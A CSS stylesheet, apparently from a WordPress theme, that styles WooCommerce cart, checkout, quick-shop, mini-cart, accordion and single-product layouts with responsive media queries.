	.woocommerce-cart table.cart td.actions .coupon .input-text {
		margin-bottom: 10px;
	}
	.woocommerce-cart table.cart td.actions button,
	.woocommerce-page table.cart td.actions .coupon .input-text + .button,
	.woocommerce-cart table.cart td.actions .coupon .input-text,
	.woocommerce .woocommerce-cart-form .cart button.button,
	.woocommerce-page table.cart td.actions .button,
	.woocommerce-cart table.cart td.actions input {
		float: none;
		width: 100%;
	}
}
.woocommerce-cart table.cart td.actions .coupon .input-text {
	font-family: var(--pchead-font);
	font-size: 13px;
	font-weight: var(--pchead-wei);
	min-width: 270px;
	min-height: 40px;
	padding: 10px 20px;
	text-transform: uppercase;
}
@media only screen and (min-width: 768px) {
	.woocommerce table.shop_table td.product-name {
		max-width: 220px;
	}
	.woocommerce-result-count {
		display: none;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce table.shop_table_responsive tr td,
	.woocommerce-page table.shop_table_responsive tr td {
		padding-right: 10px;
		padding-left: 10px;
	}
}
.woocommerce table.shop_table td.product-name a {
	font-size: 14px;
}
.woocommerce table.shop_table td.product-price .woocommerce-Price-currencySymbol,
.woocommerce table.shop_table td.product-price span * {
	color: var(--pcheading-cl);
}
.woocommerce table.shop_table td.product-subtotal span {
	font-size: 16px;
	font-weight: bold;
}
.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"],
.woocommerce .woocommerce-cart-form .cart button.button,
.woocommerce .woocommerce-cart-form .cart button.button:disabled,
.woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled] {
	font-size: 13px;
	line-height: 14px;
	padding: 13px 20px 13px;
	color: #fff;
	background-color: var(--pcpage_btns_bg_cl);
}
.woocommerce .woocommerce-cart-form .cart button.button:disabled,
.woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled] {
	background-color: grey;
}
.woocommerce .cart-collaterals .cart_totals h2, .woocommerce-page .cart-collaterals .cart_totals h2 {
	font-family: var(--pchead-font);
}
.woocommerce-NoticeGroup.woocommerce-NoticeGroup-checkout {
	display: flex;
	flex: 0 0 auto;
	width: 100%;
	padding: 0 15px;
}
.woocommerce-NoticeGroup.woocommerce-NoticeGroup-checkout ul {
	width: 100%;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout {
	display: flex;
	flex-wrap: wrap;
	margin-right: -15px;
	margin-left: -15px;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout #order_review,
body.woocommerce-checkout form.checkout.woocommerce-checkout #step-wrapper-address,
body.woocommerce-checkout form.checkout.woocommerce-checkout #customer_details {
	flex: 0 0 auto;
	width: 60%;
	padding-right: 15px;
	padding-left: 15px;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout #step-wrapper-address #customer_details {
	width: 100%;
	padding-left: 0;
	padding-right: 0;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout .col2-set .col-1,
body.woocommerce-checkout form.checkout.woocommerce-checkout .col2-set .col-2 {
	float: none;
	width: 100%;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout label {
	font-weight: bold;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout #order_review {
	flex: 0 0 auto;
	width: 40%;
}
@media only screen and (max-width: 960px) {
	body.woocommerce-checkout form.checkout.woocommerce-checkout #order_review,
	body.woocommerce-checkout form.checkout.woocommerce-checkout #step-wrapper-address,
	body.woocommerce-checkout form.checkout.woocommerce-checkout #customer_details {
		width: 50%;
	}
	body.woocommerce-checkout form.checkout.woocommerce-checkout #order_review {
		width: 50%;
	}
	body.woocommerce-checkout form.checkout.woocommerce-checkout #step-wrapper-address #customer_details {
		width: 100%;
	}
}
@media only screen and (max-width: 767px) {
	body.woocommerce-checkout form.checkout.woocommerce-checkout #order_review,
	body.woocommerce-checkout form.checkout.woocommerce-checkout #customer_details,
	body.woocommerce-checkout form.checkout.woocommerce-checkout #step-wrapper-address,
	body.woocommerce-checkout form.checkout.woocommerce-checkout #order_review {
		flex: 0 0 auto;
		width: 100%;
	}
}
.woocommerce form.checkout h3#order_review_heading {
	margin-top: 0;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner {
	position: relative;
	margin-top: 10px;
	padding: 30px;
	background-color: var(--pcwc_ckout_inner_bg);
}
body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner table,
body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner .woocommerce-checkout-payment {
	border: 0;
	border-radius: 0;
	background-color: var(--pcbg-cl);
}
body.woocommerce-checkout form.checkout.woocommerce-checkout button {
	width: 100%;
	text-align: center;
	color: #fff;
}
body.woocommerce-checkout form.checkout.woocommerce-checkout button:hover {
	color: #fff;
}
.woocommerce-checkout #payment ul.payment_methods {
	background-color: var(--pcbg-cl);
}
.select2-container--default .select2-selection--single {
	height: 44px;
	border-color: var(--pcborder-cl);
	border-radius: 0;
}
.select2-container--default .select2-selection--single .select2-selection__rendered {
	line-height: 44px;
}
.select2-container--default .select2-selection--single .select2-selection__arrow {
	height: 44px;
}
.select2-dropdown {
	border-color: var(--pcborder-cl);
	border-radius: 0;
}
body.woocommerce-order-received .woocommerce-order {
	text-align: center;
}
body.woocommerce-order-received .woocommerce-order .woocommerce-notice {
	font-size: 18px;
}
body.woocommerce-order-received .woocommerce-order .woocommerce-notice:before {
	font-family: penciicon, serif;
	font-size: 30px;
	line-height: 70px;
	display: block;
	width: 70px;
	height: 70px;
	margin: 0 auto 30px;
	content: "\f111";
	color: #fff;
	border-radius: 50%;
	background-color: var(--pcaccent-cl);
}
body.woocommerce-order-received .woocommerce-order tr:last-child th {
	border: 0;
}
.woocommerce ul.order_details li {
	display: inline-block;
	float: none;
}
@media only screen and (max-width: 767px) {
	.woocommerce ul.order_details li {
		display: block;
		padding: 5px 0;
		border-right: 0;
		border-bottom: 1px dashed #d3ced2;
	}
	.woocommerce ul.order_details li:last-child {
		border: 0;
	}
}
body.woocommerce-order-received .woocommerce-order section {
	max-width: 700px;
	margin: 0 auto;
	padding: 30px;
	border: 1px solid var(--pcborder-cl);
}
body.woocommerce-order-received .woocommerce-order section + section {
	margin-top: 30px;
}
.woocommerce .woocommerce-customer-details address {
	border: 0;
	border-radius: 0;
}
.widget .swatches-display-list .wc-layered-nav-term.with-swatch-color {
	display: flex;
	align-items: center;
	justify-content: space-between;
}
.widget .swatches-display-list .wc-layered-nav-term.with-swatch-color .count {
	padding: 2px 5px;
}
.widget .swatches-display-list .wc-layered-nav-term.with-swatch-color .swatch-inner {
	display: flex;
	align-items: center;
}
.widget .swatches-display-list .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch {
	display: inline-flex;
	margin-right: 10px;
}
.widget .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch span {
	font-size: 0;
	display: block;
	width: 24px;
	height: 24px;
	text-align: center;
	border-radius: 50%;
}
.widget .swatches-small .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch span {
	width: 18px;
	height: 18px;
}
.widget .swatches-small .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch span:before {
	font-size: 8px;
	line-height: 18px;
}
.widget .swatches-large .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch span {
	width: 32px;
	height: 32px;
}
.widget .swatches-large .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch span:before {
	font-size: 14px;
	line-height: 32px;
}
.widget .swatches-display-inline .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch span {
	display: inline-block;
}
.widget .swatches-display-inline .wc-layered-nav-term.with-swatch-color a {
	display: flex;
}
.widget .swatches-display-inline .wc-layered-nav-term.with-swatch-color,
.widget .swatches-display-double .wc-layered-nav-term.with-swatch-color,
.widget .swatches-display-double .wc-layered-nav-term.with-swatch-color .layered-nav-link,
.widget .swatches-display-double .wc-layered-nav-term.with-swatch-color span,
.widget .swatches-display-inline .wc-layered-nav-term.with-swatch-color span {
	display: inline-flex;
	align-items: center;
	justify-content: space-between;
}
.widget .swatches-display-double .wc-layered-nav-term.with-swatch-color .layer-term-name,
.widget .swatches-display-inline .wc-layered-nav-term.with-swatch-color .layer-term-name {
	margin: 0 5px;
}
.widget .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch span:before {
	font-family: penciicon, serif;
	font-size: 12px;
	line-height: 24px;
	content: "\f111";
	opacity: 0;
	color: white;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.widget .wc-layered-nav-term.chosen a {
	font-weight: bold;
}
.widget .wc-layered-nav-term.with-swatch-color.chosen .swatch-inner .filter-swatch span:before {
	opacity: 1;
}
.quick-shop-wrapper {
	position: absolute;
	top: 0;
	left: 0;
	bottom: 0;
	right: 0;
	visibility: hidden;
	padding: 0 0 40px;
	text-align: center;
	opacity: 0;
	display: flex;
	justify-content: center;
	align-items: center;
}
.quick-shop-shown .quick-shop-wrapper {
	z-index: 99;
	visibility: visible;
	opacity: 1;
	background-color: rgba(255, 255, 255, .95);
}
.quick-shop-shown .quick-shop-wrapper .quick-shop-form {
	height: calc(100% - 32px);
	overflow-y: auto;
	padding-top: 16px;
	overflow-x: hidden;
	width: 100%;
	display: flex;
	justify-content: center;
	align-items: center;
}
@media only screen and (max-width: 767px) {
	.quick-shop-shown .quick-shop-wrapper .quick-shop-form {
		display: block;
		padding-top: 22px;
	}
}
.quick-shop-shown .quick-shop-wrapper table,
.quick-shop-shown .quick-shop-wrapper table th,
.quick-shop-shown .quick-shop-wrapper table td {
	border: 0;
	position: relative;
	text-align: center;
}
.quick-shop-shown .quick-shop-wrapper .variations select {
	box-shadow: 0 1px 3px rgba(55, 55, 55, .1);
}
.woocommerce div.product form.cart .variations tr th {
	padding-top: 0;
	padding-bottom: 0;
	padding-left: 0;
}
.woocommerce div.product form.cart .variations tr:not(:last-child) td {
	padding-bottom: 10px;
}
.woocommerce div.product .quick-shop-wrapper form.cart .variations td.label {
	padding: 0;
}
.woocommerce div.product .quick-shop-wrapper form.cart,
.woocommerce div.product .quick-shop-wrapper p.cart {
	margin-bottom: 0;
}
.products li.product.quick-shop-shown .penci-product-loop-buttons,
.products li.product.quick-shop-shown .hover-img {
	visibility: hidden;
	opacity: 0;
	display: none;
}
.quick-shop-shown .quick-shop-wrapper label {
	font-weight: bold;
}
.quick-shop-shown .quick-shop-wrapper .reset_variations {
	display: block;
	margin-top: 10px;
}
.quick-shop-wrapper .quantity .qty,
.quick-shop-wrapper div.quantity input[type="number"] {
	border: 0;
}
.quick-shop-wrapper div.quantity input[type="button"].minus,
.quick-shop-wrapper div.quantity input[type="button"].plus {
	width: 39px;
	height: 39px;
	color: #fff;
	border-radius: 50%;
	background-color: rgba(0, 0, 0, 0.5);
}
.quick-shop-wrapper div.quantity input[type="button"].minus:hover,
.quick-shop-wrapper div.quantity input[type="button"].plus:hover {
	background-color: rgba(0, 0, 0, 0.9);
}
.quick-shop-wrapper .quantity,
.quick-shop-wrapper .woocommerce-variation.single_variation {
	display: none !important;
}
.quick-shop-wrapper .variations {
	text-align: center;
}
.quick-shop-wrapper table {
	width: 100%;
}
.quick-shop-wrapper table tr {
	display: flex;
	flex-direction: column;
	flex-wrap: wrap;
}
.quick-shop-wrapper table tr td {
	padding: 5px 0;
}
.quick-shop-wrapper .reset_variations {
	display: block;
}
.quick-shop-wrapper .variations_form .woocommerce-variation-add-to-cart {
	margin-top: 0;
	position: absolute;
	overflow: visible;
	bottom: 0;
	left: 0;
	right: 0;
}
.woocommerce div.penci-summary-align-center .quick-shop-wrapper form.cart .button,
.quick-shop-wrapper .single_add_to_cart_button.button {
	position: absolute;
	bottom: 0;
	left: 0;
	display: block;
	width: 100%;
	color: #fff;
}
.woocommerce .quick-shop-wrapper .single_add_to_cart_button.button:hover {
	color: #fff;
}
.quick-shop-wrapper div.quantity input[type="button"] {
	border: 0;
}
.quick-shop-wrapper .quick-shop-close {
	font-size: 0;
	position: absolute;
	top: 10px;
	left: 10px;
	width: 20px;
	height: 20px;
	cursor: pointer;
	text-align: center;
	border: 1px solid #888;
	border-radius: 50%;
	background-color: white;
	z-index: 5;
}
.quick-shop-wrapper .quantity {
	display: none;
}
.woocommerce div.product.penci-summary-align-center .quick-shop-wrapper form.cart .variations td.label,
.woocommerce div.product.penci-summary-align-center .quick-shop-wrapper form.cart .variations td.value {
	margin-left: 0;
	margin-right: 0;
	padding-right: 0;
	padding-left: 0;
	width: initial;
	text-align: center;
}
.woocommerce div.product.penci-summary-align-center .quick-shop-wrapper form.cart .variations td.label {
	padding-bottom: 5px;
}
.woocommerce div.product .quick-shop-wrapper form.cart .variations .reset_variations {
	display: block;
}
.quick-shop-wrapper .quick-shop-close:before {
	font-family: penciicon, serif;
	font-size: 8px;
	line-height: 18px;
	content: "\f110";
	color: gray;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.woocommerce ul.cart_list li,
.woocommerce ul.product_list_widget li {
	font-size: inherit;
	padding-right: 20px;
	color: inherit;
}
.woocommerce.widget_products ul.product_list_widget li,
.woocommerce.widget_top_rated_products ul.product_list_widget li {
	padding-left: 0;
	padding-right: 0;
}
.woocommerce ul.cart_list li div.quantity .qty,
.woocommerce ul.cart_list li div.quantity input[type="number"],
.woocommerce ul.cart_list li div.quantity input[type="button"],
.woocommerce ul.product_list_widget div.quantity input[type="button"] {
	font-size: 14px;
	height: 30px;
	line-height: 1;
	transition: all 0.3s ease-in-out;
}
.woocommerce ul.cart_list li div.quantity,
.woocommerce ul.product_list_widget div.quantity {
	margin-bottom: 10px;
}
.woocommerce ul.cart_list .product-cart-info,
.woocommerce ul.product_list_widget .product-cart-info {
	float: right;
	margin-bottom: 10px;
	width: calc(100% - 110px);
}
.woocommerce ul.cart_list li div.quantity + span.quantity,
.woocommerce ul.product_list_widget div.quantity + li span.quantity {
	display: block;
}
.woocommerce .widget ul.cart_list li .star-rating,
.woocommerce .widget ul.product_list_widget li .star-rating {
	margin: 0 0 10px;
}
.woocommerce ul.cart_list li a,
.woocommerce ul.product_list_widget li a {
	font-size: inherit;
	color: inherit;
}
.woocommerce ul.cart_list li a .product-title,
.woocommerce ul.product_list_widget li a .product-title {
	transition: all 0.3s;
}
.woocommerce ul.cart_list li a:hover .product-title,
.woocommerce ul.product_list_widget li a:hover .product-title {
	opacity: 0.7;
}
.woocommerce ul.cart_list li .amount,
.woocommerce ul.product_list_widget li .amount {
	font-size: inherit;
	float: none;
	font-weight: bold;
}
body .penci-sidebar-cart .sidecart-content ul li a.remove,
.woocommerce .widget_shopping_cart .cart_list li a.remove,
.woocommerce.widget_shopping_cart .cart_list li a.remove {
	font-size: 0;
	line-height: 0;
	top: 0;
	right: 0;
	bottom: 0;
	left: auto;
	color: black !important;
	border: 0;
	background-color: var(--pcbg-cl);
}
body .penci-sidebar-cart .sidecart-content ul li a.remove:before,
.woocommerce .widget_shopping_cart .cart_list li a.remove:before,
.woocommerce.widget_shopping_cart .cart_list li a.remove:before {
	font-family: "penciicon", serif;
	font-size: 10px;
	line-height: 24px;
	content: "\f110";
	opacity: .5;
	color: black !important;
}
body .penci-sidebar-cart .sidecart-content ul li a.remove:hover:before,
.woocommerce .widget_shopping_cart .cart_list li a.remove:hover:before,
.woocommerce.widget_shopping_cart .cart_list li a.remove:hover:before {
	opacity: 1;
}
body .penci-sidebar-cart .sidecart-content ul li a.remove:hover,
.woocommerce .widget_shopping_cart .cart_list li a.remove:hover,
.woocommerce.widget_shopping_cart .cart_list li a.remove:hover {
	color: black;
	background-color: transparent;
}
.woocommerce .widget_shopping_cart .total,
.woocommerce.widget_shopping_cart .total {
	font-size: inherit;
	text-transform: uppercase;
}
.woocommerce .widget_shopping_cart .amount,
.woocommerce.widget_shopping_cart .amount {
	float: right;
}
.woocommerce .widget_shopping_cart .woocommerce-mini-cart__buttons.buttons {
	overflow: hidden;
}
.woocommerce .widget_shopping_cart .woocommerce-mini-cart__buttons.buttons .button {
	float: left;
	width: 48%;
	margin: 0;
	/*padding-top: 14px;
    padding-bottom: 14px;*/
}
.woocommerce ul.cart_list li del,
.woocommerce ul.product_list_widget li del {
	color: #999;
}
.woocommerce ul.cart_list li del .amount,
.woocommerce ul.product_list_widget li del .amount {
	font-size: inherit;
	color: inherit;
}
.woocommerce .widget_shopping_cart .woocommerce-mini-cart__buttons.buttons .button.checkout.wc-forward {
	float: right;
	background-color: var(--pcaccent-cl);
}
.woocommerce-accordion.wc-accordion-wrapper {
	clear: both;
}
.woocommerce-accordion.wc-accordion-wrapper + .related.products {
	margin-top: 60px;
}
.summary.entry-summary .woocommerce-accordion.wc-accordion-wrapper {
	margin-bottom: -1px;
	border-top: 1px solid #dedede;
}
.summary.entry-summary .penci-review-style-default #comments,
.summary.entry-summary .penci-review-style-default #review_form_wrapper {
	flex: 100%;
	width: 100%;
	max-width: unset;
}
.summary.entry-summary .penci-review-style-default #review_form_wrapper {
	margin-top: 30px;
}
.woocommerce #review_form #respond p.form-submit input[type="submit"] {
	padding: 0 15px;
}
.woocommerce table.shop_attributes {
	max-width: 600px;
	margin: 0 auto;
	border-top: 0;
}
.woocommerce table.shop_attributes p,
.woocommerce table.shop_attributes a {
	color: var(--pcmeta-cl);
}
.woocommerce table.shop_attributes a:hover {
	color: var(--pcaccent-cl);
}
.woocommerce table.shop_attributes tr td {
	text-align: right;
}
.woocommerce table.shop_attributes tr:last-child td,
.woocommerce table.shop_attributes tr:last-child th {
	border: 0;
}
.woocommerce table.shop_attributes tr:nth-child(2n) td,
.woocommerce table.shop_attributes tr:nth-child(2n) th {
	background-color: transparent;
}
.woocommerce-accordion.wc-accordion-wrapper:after {
	display: table;
	clear: both;
	content: "";
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-panel {
	display: none;
	padding: 25px 0;
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-item.parent-active {
	border-bottom: 1px solid var(--pcborder-cl);
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-title {
	position: relative;
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-title:after {
	font-family: penciicon !important;
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	display: inline-flex;
	align-items: center;
	height: 100%;
	content: '\f11a';
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-title.active:after {
	-moz-transform: rotate(90deg);
	-ms-transform: rotate(90deg);
	-o-transform: rotate(90deg);
	-webkit-transform: rotate(90deg);
	transform: rotate(90deg);
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-title > a {
	display: block;
	padding-top: 20px;
	padding-bottom: 20px;
	color: var(--pcheading-cl);
	border-bottom: 1px solid var(--pcborder-cl);
	text-transform: uppercase;
	opacity: 0.7;
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-title.active > a {
	opacity: 1;
}
.products.product-list .penci-soledad-product,
.woocommerce ul.products.product-list li.product,
.woocommerce-page ul.products.product-list li.product {
	margin-bottom: 0;
}
.products.product-list .penci-soledad-product .penci-product-loop-inner-content {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	margin-bottom: 30px;
	padding-bottom: 30px;
	border-bottom: 1px solid #dedede;
}
.products.product-list .penci-soledad-product .penci-product-loop-top {
	position: relative;
	align-self: flex-start;
	flex: 0 0 auto;
	width: 35%;
}
.products.product-list .penci-soledad-product .penci-product-loop-title {
	display: flex;
	flex: 0 0 auto;
	flex-direction: column;
	justify-content: center;
	width: 65%;
	padding-left: 30px;
	text-align: left;
}
@media only screen and (max-width: 767px) {
	.woocommerce ul.products.product-list[class*="columns-"] .penci-soledad-product,
	.woocommerce-page ul.products.product-list[class*="columns-"] .penci-soledad-product {
		float: none;
		width: 100%;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce .products.product-list .penci-soledad-product .penci-product-loop-top {
		width: 40%;
	}
	.woocommerce .products.product-list .penci-soledad-product .penci-product-loop-title {
		width: 60%;
	}
	.woocommerce .products.product-list .penci-soledad-product .penci-list-summary.entry-summary {
		display: none;
	}
	.woocommerce ul.products.mobile-columns-2.product-list .penci-soledad-product,
	.woocommerce-page ul.products.mobile-columns-2.product-list .penci-soledad-product,
	.woocommerce .penci_sidebar ul.products.mobile-columns-2.product-list .penci-soledad-product,
	.woocommerce-page .penci_sidebar ul.products.mobile-columns-2.product-list .penci-soledad-product,
	.woocommerce ul.products[class*="columns-"].product-list .penci-soledad-product,
	.woocommerce-page ul.products[class*="columns-"].product-list .penci-soledad-product {
		float: none !important;
		width: 100% !important;
	}
}
.woocommerce .products.product-list .penci-soledad-product h3,
.woocommerce .products.product-list .penci-soledad-product .woocommerce-loop-product__title {
	text-align: inherit;
}
.woocommerce .products.product-list .penci-soledad-product .price {
	text-align: inherit;
}
.woocommerce .products.product-list .penci-soledad-product .penci-list-action .button {
	line-height: 40px;
	display: inline-block;
	padding: 0 30px;
	color: white;
}
.woocommerce .products.product-list .penci-soledad-product .penci-list-action .button.added {
	min-width: 160px;
}
@media only screen and (max-width: 767px) {
	.woocommerce .products.product-list .penci-soledad-product .penci-list-action .button {
		width: 100%;
		padding: 0 5px;
	}
}
.woocommerce .products.product-list .penci-soledad-product .penci-list-action .button {
	font-size: 12px;
}
.woocommerce .products.product-list .penci-soledad-product .penci-list-action .button.loading {
	color: transparent;
}
.woocommerce .products.product-list .penci-soledad-product .penci-list-action .button:hover {
	opacity: 0.8;
}
.woocommerce .products.product-list .penci-soledad-product .penci-list-summary {
	margin-top: 15px;
}
.woocommerce a.button.loading:before,
.woocommerce button.button.loading:before,
.woocommerce input.button.loading:before,
.woocommerce #respond input#submit.loading:before {
	position: absolute;
	z-index: 1;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	content: '';
	background-color: rgba(255, 255, 255, .75);
}
.woocommerce a.button.loading:before,
.woocommerce button.button.loading:before,
.woocommerce input.button.loading:before,
.woocommerce #respond input#submit.loading:before,
.woocommerce a.button.loading:after,
.woocommerce button.button.loading:after,
.woocommerce input.button.loading:after,
.woocommerce #respond input#submit.loading:after {
	font-family: inherit !important;
	line-height: 0;
	position: absolute;
	z-index: 2;
	top: 14px;
	right: 50%;
	left: 50%;
	display: block;
	width: 14px;
	height: 14px;
	margin: 0 0 0 -9px;
	content: " " !important;
	animation: lds-dual-ring 0.4s linear infinite;
	vertical-align: middle;
	opacity: 1;
	border: 1px solid #999;
	border-left-color: #000;
	border-top-color: #000;
	border-radius: 50%;
}
.woocommerce .penci-products-preloader {
	text-align: center;
}
.woocommerce .penci-products-preloader .penci-layout-loader:before {
	z-index: 2;
	right: 50%;
	left: 50%;
	display: inline-block;
	width: 30px;
	height: 30px;
	margin: 0 0 0 -15px;
	content: " " !important;
	animation: lds-dual-ring 0.5s linear infinite;
	vertical-align: middle;
	opacity: 1;
	border: 1px solid #999;
	border-left-color: #000;
	border-radius: 50%;
}
.woocommerce a.button.loading,
.woocommerce button.button.loading,
.woocommerce input.button.loading,
.woocommerce #respond input#submit.loading {
	opacity: 1;
}
.penci-sticky-cart {
	position: fixed;
	z-index: 99;
	top: auto !important;
	bottom: 0 !important;
	left: 0;
	visibility: hidden;
	width: 100%;
	-moz-transition: all 0.3s;
	-o-transition: all 0.3s;
	-webkit-transition: all 0.3s;
	transition: all 0.3s;
	-webkit-transform: translateY(5px) translateZ(0);
	transform: translateY(5px) translateZ(0);
	opacity: 0;
	background-color: var(--pcbg-cl);
	-moz-box-shadow: 1px -8px 17px 0 rgba(0, 0, 0, 0.15);
	-webkit-box-shadow: 1px -8px 17px 0 rgba(0, 0, 0, 0.15);
	box-shadow: 1px -8px 17px 0 rgba(0, 0, 0, 0.15);
}
.penci-sticky-cart.cart-sticky {
	visibility: visible;
	-webkit-transform: translateY(0) translateZ(0);
	transform: translateY(0) translateZ(0);
	opacity: 1;
}
.penci-sticky-cart-wrapper {
	display: flex;
	flex-wrap: wrap;
	padding: 5px 0;
}
.penci-sticky-cart-wrapper .penci-sticky-cart-title,
.penci-sticky-cart-wrapper .penci-sticky-cart-buttons {
	display: flex;
	align-items: center;
	align-self: center;
	flex: 0 0 50%;
	flex-direction: row;
	max-width: 50%;
}
.penci-sticky-cart-wrapper .penci-sticky-cart-buttons {
	justify-content: flex-end;
}
.penci-sticky-cart-wrapper .penci-sticky-cart-buttons button:hover,
.penci-sticky-cart-wrapper .penci-sticky-cart-buttons button.button.alt:hover {
	color: #fff;
}
.penci-sticky-cart-wrapper .product-image {
	width: 70px;
	margin-right: 15px;
}
.penci-sticky-cart-wrapper .product-price {
	font-size: 18px;
	font-weight: bold;
}
.penci-sticky-cart-wrapper .product-price del {
	font-size: 80%;
	opacity: .75;
}
.penci-sticky-cart-wrapper .product-price ins {
	text-decoration: none;
	color: var(--pcaccent-cl);
}
.penci-sticky-cart-wrapper .product-action {
	margin-left: 15px;
}
.penci-sticky-cart-wrapper .product-action a.button {
	padding: 0 25px;
	color: white;
	background-color: var(--pcpage_btn_atc_bg_cl);
}
.penci-sticky-cart-wrapper .product-action a.button:hover {
	color: white;
}
@media only screen and (max-width: 767px) {
	.penci-sticky-cart-wrapper {
		padding-right: 5px;
		padding-left: 5px;
	}
	.penci-sticky-cart-wrapper .penci-sticky-cart-title {
		display: none;
	}
	.penci-sticky-cart-wrapper .penci-sticky-cart-buttons {
		flex: 0 0 100%;
		justify-content: space-between;
		width: 100%;
		max-width: 100%;
	}
}
body.single-product #header {
	margin-bottom: 0;
}
.penci-single-product-top-container {
	overflow: hidden;
	margin-bottom: 20px;
	padding-top: 60px;
	border-bottom: 1px solid var(--pcpage_gbdr_cl);
}
.sidebar-placement-both .penci-single-product-top-container {
	position: relative;
	padding-top: 0;
}
@media only screen and (max-width: 767px) {
	.product.no-background .penci-single-product-top-container {
		padding-top: 15px;
	}
}
.penci-single-product-top-container .container {
	position: relative;
}
.woocommerce .product.penci-product-img-medium div.images {
	width: 57.5%;
}
.woocommerce .product.penci-product-img-medium div.summary {
	width: 40%;
}
.woocommerce .product.penci-product-img-large div.images {
	width: 67.5%;
}
.woocommerce .product.penci-product-img-large div.summary {
	width: 30%;
}
.woocommerce .product.penci-product-img-large .penci-top-relate-post {
	top: -50px;
}
.woocommerce .product.penci-product-img-fullwidth-container .penci-top-relate-post {
	top: -50px;
	left: auto;
	right: calc((100% - var(--pcctain)) / 2);
}
.woocommerce .penci_sidebar div.product.penci-product-img-fullwidth-container div.images,
.woocommerce-page .penci_sidebar div.product.penci-product-img-fullwidth-container div.images,
.woocommerce div.penci-product-img-fullwidth-container div.images {
	width: 100%;
}
.woocommerce div.penci-product-img-fullwidth-container div.images .woocommerce-product-gallery__trigger {
	right: calc((100% - var(--pcctain)) / 2);
}
@media only screen and (min-width: 961px) and (max-width: 1169px) {
	.woocommerce .product.penci-product-img-fullwidth-container .penci-top-relate-post {
		right: calc((100% - 940px) / 2);
	}
	.woocommerce div.penci-product-img-fullwidth-container div.images .woocommerce-product-gallery__trigger {
		right: calc((100% - 940px) / 2);
	}
}
@media only screen and (min-width: 768px) and (max-width: 960px) {
	.woocommerce .product.penci-product-img-fullwidth-container .penci-top-relate-post {
		right: calc((100% - 726px) / 2);
	}
	.woocommerce div.penci-product-img-fullwidth-container div.images .woocommerce-product-gallery__trigger {
		right: calc((100% - 726px) / 2);
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce .product.penci-product-img-fullwidth-container .penci-top-relate-post {
		position: relative;
		top: 0;
		left: 0;
		right: 0;
		bottom: 0;
	}
}
@media only screen and (min-width: 768px) {
	.woocommerce .product.penci-product-img-fullwidth-container .penci-single-product-top-container .product-labels {
		left: 10px;
		right: auto;
	}
}
.woocommerce .product.penci-product-img-fullwidth-container div.images,
.woocommerce .product.penci-product-img-fullwidth-container div.summary {
	float: none;
	width: 100%;
}
.woocommerce .product.penci-product-img-fullwidth .penci-single-product-top-container > .container {
	width: 100%;
}
.penci-summary-align-center .summary.entry-summary {
	text-align: center;
}
.woocommerce div.penci-summary-align-center form.cart {
	/*display: flex;
	flex-wrap: wrap;
	justify-content: center;*/
}
.woocommerce div.penci-summary-align-center form.cart .variations {
	width: auto;
	margin: 0 auto;
}
.woocommerce div.penci-summary-align-center.penci-product-img-fullwidth-container .single_variation_wrap {
	max-width: 570px;
	margin: 0 auto;
}
.woocommerce div.penci-product-img-fullwidth-container figure.splide__slide {
	opacity: 0.2;
	pointer-events: none;
	cursor: none;
}
.woocommerce div.product.penci-product-img-fullwidth-container div.images .woocommerce-product-gallery__wrapper {
	transition: none;
}
.woocommerce div.penci-product-img-fullwidth-container figure.is-active,
.woocommerce div.penci-product-img-fullwidth-container .owl-item.active.center figure,
.woocommerce div.penci-product-img-fullwidth-container .slick-center figure {
	opacity: 1;
	pointer-events: visible;
}
.woocommerce div.penci-summary-align-center form.cart .variations td.value {
	text-align: left;
	width: 70%;
}
.woocommerce div.penci-summary-align-center form.cart .variations td.label {
	text-align: right;
	width: 30%;
}
.woocommerce div.penci-summary-align-center form.cart .button,
.woocommerce div.penci-summary-align-center form.cart div.quantity {
	display: inline-flex;
	float: none;
	width: auto;
}
@media only screen and (max-width: 767px) {
	.woocommerce form.cart .single_add_to_cart_button {
		width: calc(100% - 100px);
	}
	.woocommerce .quick-shop-wrapper form.cart .single_add_to_cart_button {
		width: 100%;
	}
}
.penci-woo-page-container.penci_sidebar .sidebar-both,
.penci-woo-page-container.penci_sidebar .sidebar-bottom .penci-single-product-bottom-container .container {
	display: flex;
	flex-wrap: wrap;
	justify-content: space-between;
}
.penci-woo-page-container.penci_sidebar .sidebar-both .penci-single-product-sidebar-wrap,
.penci-woo-page-container.penci_sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content {
	flex: 0 0 auto;
	width: calc(100% - var(--pc-sidebar-w));
}
